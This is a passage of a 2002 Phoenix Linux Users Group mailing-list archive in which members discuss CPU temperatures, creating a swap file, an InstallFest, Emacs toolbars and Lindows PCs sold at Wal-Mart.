. From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 18:49:55 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dr.G) Date: Mon, 17 Jun 2002 11:49:55 -0700 Subject: CPU Temperature Monitoring & Limits References: Message-ID: <00a401c2162f$c5cd8650$6501a8c0@drghastly> AMD rates the XPs as being "Perfectly Normal" at under 90 dgerees celcius I believe (Go to thier site for more info) So. yes. You have a very powerful CPU that runs VERY hot. But it should be stable. So... ----- Original Message ----- From: To: Sent: Monday, June 17, 2002 11:42 AM Subject: RE: Re: CPU Temperature Monitoring & Limits > Yeah I have just about given up... It works fine and I have not crashed yet. > > Original Message: > ----------------- > From: Dr.G drghastly@cox.net > Date: Mon, 17 Jun 2002 11:09:31 -0700 > To: plug-discuss@lists.plug.phoenix.az.us > Subject: Re: CPU Temperature Monitoring & Limits > > > I have almost the exact same set up you do, except I have a 1800+. Your CPU > is running at normal temperature. They just run freaking hot as hell. The > only thing you can do is water cool it to get it to a lower temp. Otherwise > your pretty much SOL. That is the reason, in fact, I am switching to a P4 > 1.6B (cause you can OC the hell out of it) at it runs about 90 degrees > farenheit, standard. I do not need a heat lamp for a PC. > > > > ----- Original Message ----- > From: "Larry Lauer" > To: > Sent: Monday, June 17, 2002 10:58 AM > Subject: RE: CPU Temperature Monitoring & Limits > > > > Any thing cooling those drives? > > > > Larry > > > > -----Original Message----- > > From: jon@unfm00.com [mailto:jon@unfm00.com] > > Sent: Monday, June 17, 2002 10:05 AM > > To: plug-discuss@lists.plug.phoenix.az.us > > Subject: RE: CPU Temperature Monitoring & Limits > > > > > > Man I hate to get started on this subject. I built a AthlonXP with the > problem below: > > > > "amd 2100+ > > asus a7v333 > > pc-3000 512mb cl 2.0 @2,2,2,5T > > gforce 3 PNY (not a TI card) > > 4 ata/133 Maxtor 40g drives two are Raid level 0 > > volcano 7+ Heat sink fan 6500rpm/copper heat sink > > 4 intake fans three exit fans including power supply > > 350watt power supply. > > latest bios 1007 > > artic silver goop > > > > Processor runs at 1755mhz due to a factory overclock of 5mhz by Asus. > > > > At any rate the box is fast, very fast, but my question is its running > hot, and no mater what I have tried it still runs hot. Idle about 57°c and > 63°c full load. The threshold for the Amd xp 2100+ is 90°c. so this is what > I have done. > > > > I have tried two different Asus a7v333 mobo, same temp readings, two > different 2100+ processors, two different 350watt power supplies, i have > tried the oem heat sink & fan that came with it and my volcano 7+ runs > faster and cooler, still hot. tested my friends 1800+ and he ran in the 40s > with my setup. My room Temp is about 80-82°F. I replaced all the fans in the > chase with 2600rpm 80x80xwhatever fans, that supplies a little more airflow > along with the power supply that has the extra fan in it. All my cables are > tied off and out of the way for maximum air flow. But the damn thing runs > hot. I'm reasonably sure that I'm not overclocking anything. > > vcore 1.75 > > cpu/pcibus 133/33 > > cpu/mem raio 4:5" > > > > After I did some research, Asus stands behind thier boards and said any > temp below 70°c is fine. I'm still not to happy about my temp being in the > 60s. But I have been running this computer for over a 4week and I have not > had it crash yet, even after 8hours of compiling. > > > > http://unixmafia.port5.com/news/00211001.html <--- this guy had the same > problem just with an older board, and I have that board at it to runs at > 60°c all the time. > > > > Does anyone else run any asus mobo? > > > > jon > > > > Original Message: > > ----------------- > > From: George Toft george@georgetoft.com > > Date: Mon, 17 Jun 2002 07:26:44 -0400 > > To: plug-discuss@lists.plug.phoenix.az.us > > Subject: CPU Temperature Monitoring & Limits > > > > > > Where can I find recommended CPU temperature limits for an AMD Duron? I > > have the AMD Duron Processor 3 Technical Specification Sheets, and all > > it says is "Maximum die temperature 90C." Recognizing there is a > > thermal gradient between the CPU and the temperature sensor, does anyone > > have any ideas what the maximum temperature I should experience for a > > healthy PC? I have not found any concrete numbers on the 'Net. > > > > I configured "sensors" yesterday, and wrote a script to log system load > > and CPU temp over time, which results in this output: > > 06-17-2002 06:47:00 0.09 95.5°F TX: 271kbps RX: 150kbps > > 06-17-2002 06:48:00 0.19 96.1°F TX: 270kbps RX: 194kbps > > 06-17-2002 06:49:00 0.13 96.1°F TX: 271kbps RX: 185kbps > > 06-17-2002 06:50:01 0.21 96.1°F TX: 264kbps RX: 201kbps > > 06-17-2002 06:51:00 0.24 96.4°F TX: 201kbps RX: 240kbps > > 06-17-2002 06:52:00 0.37 97.2°F TX: 270kbps RX: 193kbps > > 06-17-2002 06:53:01 1.17 103.5°F TX: 272kbps RX: 176kbps > > 06-17-2002 06:54:00 0.76 105.3°F TX: 269kbps RX: 204kbps > > 06-17-2002 06:55:01 0.66 107.2°F TX: 259kbps RX: 209kbps > > 06-17-2002 06:56:01 0.84 110.1°F TX: 272kbps RX: 200kbps > > 06-17-2002 06:57:01 1.85 111.4°F TX: 270kbps RX: 177kbps > > 06-17-2002 06:58:01 1.62 112.3°F TX: 269kbps RX: 183kbps > > 06-17-2002 06:59:01 1.01 113.4°F TX: 220kbps RX: 218kbps > > 06-17-2002 07:00:02 0.81 113.7°F TX: 222kbps RX: 212kbps > > > > (As you can see, I also incorporated tracking network traffic from a > > previous thread as well. This script is located on my web site.) > > > > I then ran the machine ragged playing an AVI movie in full-screen mode > > for over 1.5 hours. The CPU temperature reached 127F and held steady. > > I set my alarm at 129F and reset (hysteresis) at 127F. Do these sound > > like reasonable values? Obviously, cooler is better, but I don't have > > $200 for a liquid cooling system. > > > > Thanks in advance. > > > > George > > > > -- > > If you feel you have received a virus from me, please read > > http://www.georgetoft.com/virus.html > > because it wasn't me! > > -- > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > -------------------------------------------------------------------- > > mail2web - Check your email from the web at > > http://mail2web.com/ . > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > -------------------------------------------------------------------- > mail2web - Check your email from the web at > http://mail2web.com/ . > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 18:44:36 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dr.G) Date: Mon, 17 Jun 2002 11:44:36 -0700 Subject: PLUG on Slashdot References: Message-ID: <009e01c2162f$07cb6780$6501a8c0@drghastly> As some comments from /. have been said, all they have to do is go through a M$ recognized vendor ( hence..3rd party) to use the same type of software. Also, considering that the COP and Maricopa County are the largest employers for the state of AZ, I highly doubt they want to go through the retraining fees it would cost to retrain all those people to use the new software. Your talking about a LOT of $$, $$ that is coming out of my pocket as a taxpayer, and more importantly, the other 3.9 million+ taxpayers who (Read: people over 60's usually) will vote that down if neccessary, or complain enough that it will probably not go through.. So I'm on the fence with that one. It should be one step at a time. ----- Original Message ----- From: "Tom Emerson" To: Sent: Monday, June 17, 2002 11:31 AM Subject: Re: PLUG on Slashdot > Perhaps the Arizona Center for Law in the Public Interest would have > something to say about enforcement of current policy and law? > > http://www.aclpi.org/ > > They have a bit of a reputation fighting for enforcement of ignored laws... > > ---------------------------- > > On Mon, 17 Jun 2002, Matt Alexander wrote: > > I just noticed on Slashdot this morning that we're featured in regards to > the Maricopa County thread: > > http://slashdot.org > > ________________________________________________ > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 19:52:19 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jonathan Claxton) Date: Mon, 17 Jun 2002 12:52:19 -0700 (MST) Subject: InstallFest Message-ID: I just got myself back on this list after finding out for some reason I got knocked off it. AND, on top of that, I just found out there's going to be an InstallFest this comming Saturday. I can bring over my Black-Thunder box that has a TV card in it that I would LOVE to show it off!!!! :) Just tell me where to connect it to a TV plug or if not, I can bring along my VCR and tapes. Also it got a DVD drive that I can show DVDs on it too! Heck, I just may bring over both boxes that I got. :) ------------------------------------------------------------------------------- Jonathan Claxton __ __ ____ ___ ___ ____ jzc@primenet.com /__)/__) / / / / /_ /\ / /_ / / / \ / / / / /__ / \/ /___ / ------------------------------------------------------------------------------- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 19:36:15 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Mon, 17 Jun 2002 12:36:15 -0700 Subject: virtual memory hogging problem... Message-ID: <3D0E3A2F.783591E5@leml.asu.edu> got a virtual memory problem... The situation: I have a spatially explitit and interactive model which is coulpled to a MIMD virtual machine running other (simple unit models)... The problem is that when I load the thing up for the simulation I am currently playing with I now pop the top of my virtual memory (I only have 156MB RAM and 1.5GB swap, and need about 2 to 4 times that). Looking for solutions I thought of tmpfs, but realized that it creates/mouns a file system on swap. Is there any other way you'all know how to set up a file-based swap so I can throw a couple more gig at swap without having to dedicate another partition perminately? If I had it all to do over again I would have built a real distributed virtual machine, etc... not time for that now. If anyone can point me to how to create a file on a partition and use that for swap space, or any other solution which comes to mind I would be most appreciative... EBo -- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 20:03:59 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Mon, 17 Jun 2002 13:03:59 -0700 Subject: InstallFest In-Reply-To: References: Message-ID: <02061713035927.08309@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Cool machines doing cool stuff are highly encouraged. On Monday 17 June 2002 12:52, you wrote: > I just got myself back on this list after finding out for some reason I > got knocked off it. > > AND, on top of that, I just found out there's going to be an InstallFest > this comming Saturday. > > I can bring over my Black-Thunder box that has a TV card in it that I > would LOVE to show it off!!!! :) Just tell me where to connect it to a TV > plug or if not, I can bring along my VCR and tapes. Also it got a DVD > drive that I can show DVDs on it too! Heck, I just may bring over both > boxes that I got. :) > > > --------------------------------------------------------------------------- >---- Jonathan Claxton __ __ ____ ___ > ___ ____ jzc@primenet.com /__)/__) / / / / /_ /\ > / /_ / / / \ / / / / /__ / \/ /___ / > --------------------------------------------------------------------------- >---- > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPQ5Arysk3ywszI1FEQJgpACfZWtcQXzXCPfZH5W0WPn4ppqBW9gAoM0N nLJgTBqjoToin4b0KW7a7UKv =INK/ -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 20:10:11 2002 From: plug-discuss@lists.plug.phoenix.az.us (jon@unfm00.com) Date: Mon, 17 Jun 2002 16:10:11 -0400 Subject: InstallFest Message-ID: You mean you don't have a DVD drive in your box? While on this subject, who uses Mplayer for DVDs, and have you gotten the dvd menus to work right yet? Original Message: ----------------- From: Jonathan Claxton jzc@primenet.com Date: Mon, 17 Jun 2002 12:52:19 -0700 (MST) To: plug-discuss@lists.plug.phoenix.az.us Subject: InstallFest I just got myself back on this list after finding out for some reason I got knocked off it. AND, on top of that, I just found out there's going to be an InstallFest this comming Saturday. I can bring over my Black-Thunder box that has a TV card in it that I would LOVE to show it off!!!! :) Just tell me where to connect it to a TV plug or if not, I can bring along my VCR and tapes. Also it got a DVD drive that I can show DVDs on it too! Heck, I just may bring over both boxes that I got. :) ------------------------------------------------------------------------------- Jonathan Claxton __ __ ____ ___ ___ ____ jzc@primenet.com /__)/__) / / / / /_ /\ / /_ / / / \ / / / / /__ / \/ /___ / ------------------------------------------------------------------------------- ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -------------------------------------------------------------------- mail2web - Check your email from the web at http://mail2web.com/ . From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 20:12:41 2002 From: plug-discuss@lists.plug.phoenix.az.us (Logan Kennelly) Date: Mon, 17 Jun 2002 13:12:41 -0700 Subject: virtual memory hogging problem... In-Reply-To: <3D0E3A2F.783591E5@leml.asu.edu> References: <3D0E3A2F.783591E5@leml.asu.edu> Message-ID: <200206171312.47372.voltage_spike@fastmail.fm> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Monday 17 June 2002 12:36 pm, John (EBo) David wrote: > If anyone can point me to how to create a file on a partition and use > that for swap space, or any other solution which comes to mind I would > be most appreciative... Everything is a file in Unix. dd if=/dev/zero of=file count=1500000 mkswap file swapon file - -- Logan Kennelly ,,, (. .) - --ooO-(_)-Ooo-- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9DkK9pNoctRtUIRQRAlcbAJ9aW9CsAPGycXYnleIHLoogU1mvdACcCcQt 37Tkj44qzItOiSAbJtLFN3s= =62sr -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 20:27:50 2002 From: plug-discuss@lists.plug.phoenix.az.us (Raymond Cantwell) Date: Mon, 17 Jun 2002 13:27:50 -0700 Subject: Lindows Message-ID: <3D0E4646.2000904@qwest.net> Hey folks, Just wondering if anyone has heard anything about Lindows? Just read on cnet that Wal-Mart is selling Micron PCs with it pre-installed. Ray malbojia@qwest.net From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 20:34:09 2002 From: plug-discuss@lists.plug.phoenix.az.us (Logan Kennelly) Date: Mon, 17 Jun 2002 13:34:09 -0700 Subject: Emacs on RH 7.3 In-Reply-To: <1024243844.12004.23.camel@nabla.phx.viz> References: <1024243844.12004.23.camel@nabla.phx.viz> Message-ID: <200206171334.15485.voltage_spike@fastmail.fm> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Sunday 16 June 2002 09:10 am, Gordon Chamberlin wrote: > Is anyone else annoyed by the new GUI menu bar that emacs now places > right under the text menu bar on a stock installation of Redhat 7.3? Not annoyed, but I do not find it pleasing. > I have looked for a way to remove it, but have been unsuccessful so > far. If anyone could tell me the magic incantation configuration > setting that needs to be invoked, I would be very grateful. I really > want that space back to display information. I just tried M-x tool-bar-mode and that seems to work. If you don't like the scroll bar, then you could use M-x scroll-bar-mode to recover some more space. Any suggestions on how to change the type of scroll-bar used so that it doesn't use the GTK tool set (i.e. make it look like the old one)? - -- Logan Kennelly ,,, (. .) - --ooO-(_)-Ooo-- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9DkfGpNoctRtUIRQRAoK/AKCLiW+HoUJ2yklYAaWcfT+uNhuwawCeNu21 F+LAwlE3cixaZdrjlMte6gI= =oaxJ -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 20:36:24 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Mon, 17 Jun 2002 13:36:24 -0700 (PDT) Subject: Lindows In-Reply-To: <3D0E4646.2000904@qwest.net> Message-ID: Yup. Only $299. http://www.walmart.com/catalog/product.gsp?product_id=1870914 On Mon, 17 Jun 2002, Raymond Cantwell wrote: > Hey folks, > Just wondering if anyone has heard anything about Lindows? Just read on > cnet that Wal-Mart is selling Micron PCs with it pre-installed. > Ray > malbojia@qwest.net > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 20:34:51 2002 From: plug-discuss@lists.plug.phoenix.az.us (bob smith) Date: Mon, 17 Jun 2002 13:34:51 -0700 (PDT) Subject: Lindows In-Reply-To: <3D0E4646.2000904@qwest.net> Message-ID: <20020617203456.96981.qmail@web13406.mail.yahoo.com> --- Raymond Cantwell wrote: > Hey folks, > Just wondering if anyone has heard anything about > Lindows? Just read on > cnet that Wal-Mart is selling Micron PCs with it > pre-installed. > Ray > malbojia@qwest.net I was looking at the Lindows site and it didn't seem like it was officially out yet. I see a sneak preview version but this can't be what Walmart is bundling is it? Do you also have to pay the $99 dollar Lindows subscription fee every year? __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 20:49:33 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kimi A. Adams) Date: Mon, 17 Jun 2002 13:49:33 -0700 Subject: items for sale In-Reply-To: <20020617175809.GA27125@aries.evilmascot.com> References: <5.1.0.14.0.20020616181121.00acd7f0@localhost> <5.1.0.14.0.20020616181121.00acd7f0@localhost> Message-ID: <5.1.0.14.0.20020617132644.04e50a90@localhost> I was hoping near to $100. Would you pay $75? Kimi At 6/17/02, you wrote: >Eh, how much were you thinking for the 1600? I've got $50. >-Kyle > >On Sun, Jun 16, 2002 at 06:23:36PM -0700, Kimi A. Adams wrote: > > Although I have updated my ad on www.forsale.unitywave.com, it doesn't > > allow for the amount of items that I have to list. > > > > So here is the list: http://www.unitywave.com/~office/index.html it's in > > a decent printable form as well for those that want to print it. > > > > Call me with offers. Can someone please come get the whole lot? Pricing > > is pretty rock bottom, but I will take $225 for the whole lot. We do not > > deliver. I need the space in the next month, so if we cannot sell it > here, > > it might be at the next swap meet or a garage sale in September. > > > > Kimi Adams > > Unity Wave > > 602-375-5363 > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 20:57:16 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Wyant) Date: Mon, 17 Jun 2002 13:57:16 -0700 Subject: InstallFest In-Reply-To: Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I also have a machine with a TV Tuner that I am bringing to the InstallFest, it's currently running Win2k. I'd be interested to know what software you use to view the Capture from your TV card? Are there any alternatives? What options does it support (recording, scheduling, etc...) "The difference between 'involvement' and 'commitment' is like an eggs-and-ham breakfast: the chicken was 'involved' - the pig was 'committed'." -- unknown matt wyant | friend, gentleman, scholar zanfar@nospam.zanfar.com - -----Original Message----- From: plug-discuss-admin@lists.plug.phoenix.az.us [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of Jonathan Claxton Sent: Monday, June 17, 2002 12:52 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: InstallFest I just got myself back on this list after finding out for some reason I got knocked off it. AND, on top of that, I just found out there's going to be an InstallFest this comming Saturday. I can bring over my Black-Thunder box that has a TV card in it that I would LOVE to show it off!!!! :) Just tell me where to connect it to a TV plug or if not, I can bring along my VCR and tapes. Also it got a DVD drive that I can show DVDs on it too! Heck, I just may bring over both boxes that I got. :) - ---------------------------------------------------------------------- - --------- Jonathan Claxton __ __ ____ ___ ___ ____ jzc@primenet.com /__)/__) / / / / /_ /\ / /_ / / / \ / / / / /__ / \/ /___ / - ---------------------------------------------------------------------- - --------- ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 6.5.8 for non-commercial use iQA/AwUBPQ5NK44p6zlv2o83EQI9CgCcDbQjMO5zmldcyQXaRxtoWgHdtDsAn2FL UJm7YpW2PFqvFtr+z9sDJnD8 =cOXJ -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 21:15:08 2002 From: plug-discuss@lists.plug.phoenix.az.us (Larry Lauer) Date: Mon, 17 Jun 2002 14:15:08 -0700 Subject: Lindows Message-ID: <2AAC72149C827944B96C854ABD0BCAFF1A4DEC@azmscorp01.corp.azms> Also check out slashdot. They have links to how to get Linux running on these machines. Larry -----Original Message----- From: Matt Alexander [mailto:m@netpro.to] Sent: Monday, June 17, 2002 1:36 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Lindows Yup. Only $299. http://www.walmart.com/catalog/product.gsp?product_id=1870914 On Mon, 17 Jun 2002, Raymond Cantwell wrote: > Hey folks, > Just wondering if anyone has heard anything about Lindows? Just read on > cnet that Wal-Mart is selling Micron PCs with it pre-installed. > Ray > malbojia@qwest.net > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 21:08:14 2002 From: plug-discuss@lists.plug.phoenix.az.us (C. Sullivan) Date: Mon, 17 Jun 2002 21:08:14 +0000 (GMT) Subject: PLUG on Slashdot In-Reply-To: <009e01c2162f$07cb6780$6501a8c0@drghastly> Message-ID: On Mon, 17 Jun 2002, Dr.G wrote: > As some comments from /. have been said, all they have to do is go through a > M$ recognized vendor ( hence..3rd party) to use the same type of software. Not necessarily. It also states that the County cannot enter into a contract with companies who have acted in that fashion.. and since Microsoft's click-through is, technically, a contract... From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 21:21:47 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dr.G) Date: Mon, 17 Jun 2002 14:21:47 -0700 Subject: PLUG on Slashdot References: Message-ID: <00db01c21644$fccf81c0$6501a8c0@drghastly> Not when it is OEM I believe. ----- Original Message ----- From: "C. Sullivan" To: Sent: Monday, June 17, 2002 2:08 PM Subject: Re: PLUG on Slashdot > > > On Mon, 17 Jun 2002, Dr.G wrote: > > > As some comments from /. have been said, all they have to do is go through a > > M$ recognized vendor ( hence..3rd party) to use the same type of software. > > Not necessarily. It also states that the County cannot enter into a > contract with companies who have acted in that fashion.. and since > Microsoft's click-through is, technically, a contract... > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 21:24:47 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dr.G) Date: Mon, 17 Jun 2002 14:24:47 -0700 Subject: Lindows References: <2AAC72149C827944B96C854ABD0BCAFF1A4DEC@azmscorp01.corp.azms> Message-ID: <00ef01c21645$67e99130$6501a8c0@drghastly> Uh, Lindows IS Linux. :) ----- Original Message ----- From: "Larry Lauer" To: Sent: Monday, June 17, 2002 2:15 PM Subject: RE: Lindows > Also check out slashdot. They have links to how to get Linux running on these machines. > > Larry > > -----Original Message----- > From: Matt Alexander [mailto:m@netpro.to] > Sent: Monday, June 17, 2002 1:36 PM > To: plug-discuss@lists.plug.phoenix.az.us > Subject: Re: Lindows > > > Yup. Only $299. > > http://www.walmart.com/catalog/product.gsp?product_id=1870914 > > > On Mon, 17 Jun 2002, Raymond Cantwell wrote: > > > Hey folks, > > Just wondering if anyone has heard anything about Lindows? Just read on > > cnet that Wal-Mart is selling Micron PCs with it pre-installed. > > Ray > > malbojia@qwest.net > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 21:30:59 2002 From: plug-discuss@lists.plug.phoenix.az.us (tickticker) Date: Mon, 17 Jun 2002 14:30:59 -0700 Subject: Lindows References: <3D0E4646.2000904@qwest.net> Message-ID: <002401c21646$47bc9be0$0301010a@tickticker.com> Heard about it? I run it. yes i sprang for the $99 dollars! it is Coooool! just downloaded the latest preview release, haven't burned it to disk but the technology is VERY promising IMHO. Anthony ----- Original Message ----- From: "Raymond Cantwell" To: Sent: Monday, June 17, 2002 1:27 PM Subject: Lindows > Hey folks, > Just wondering if anyone has heard anything about Lindows? Just read on > cnet that Wal-Mart is selling Micron PCs with it pre-installed. > Ray > malbojia@qwest.net > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 21:33:55 2002 From: plug-discuss@lists.plug.phoenix.az.us (tickticker) Date: Mon, 17 Jun 2002 14:33:55 -0700 Subject: Lindows References: <2AAC72149C827944B96C854ABD0BCAFF1A4DEC@azmscorp01.corp.azms> Message-ID: <003401c21646$af01d590$0301010a@tickticker.com> it is running linux. it just has a c/ drive buried in the directory structure. It's either based on suse or debian (i think, i could look it up again if anyone is interested. Anthony ----- Original Message ----- From: "Larry Lauer" To: Sent: Monday, June 17, 2002 2:15 PM Subject: RE: Lindows > Also check out slashdot. They have links to how to get Linux running on these machines. > > Larry > > -----Original Message----- > From: Matt Alexander [mailto:m@netpro.to] > Sent: Monday, June 17, 2002 1:36 PM > To: plug-discuss@lists.plug.phoenix.az.us > Subject: Re: Lindows > > > Yup. Only $299. > > http://www.walmart.com/catalog/product.gsp?product_id=1870914 > > > On Mon, 17 Jun 2002, Raymond Cantwell wrote: > > > Hey folks, > > Just wondering if anyone has heard anything about Lindows? Just read on > > cnet that Wal-Mart is selling Micron PCs with it pre-installed. > > Ray > > malbojia@qwest.net > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 21:32:27 2002 From: plug-discuss@lists.plug.phoenix.az.us (tickticker) Date: Mon, 17 Jun 2002 14:32:27 -0700 Subject: Lindows References: <20020617203456.96981.qmail@web13406.mail.yahoo.com> Message-ID: <002b01c21646$7abaf5f0$0301010a@tickticker.com> > I was looking at the Lindows site and it didn't seem > like it was officially out yet. AFAIK it's not but will be shortly I see a sneak preview > version but this can't be what Walmart is bundling is > it? I don't believe it's in stores but it is orderable. get yours now in one to 2 months! Do you also have to pay the $99 dollar Lindows > subscription 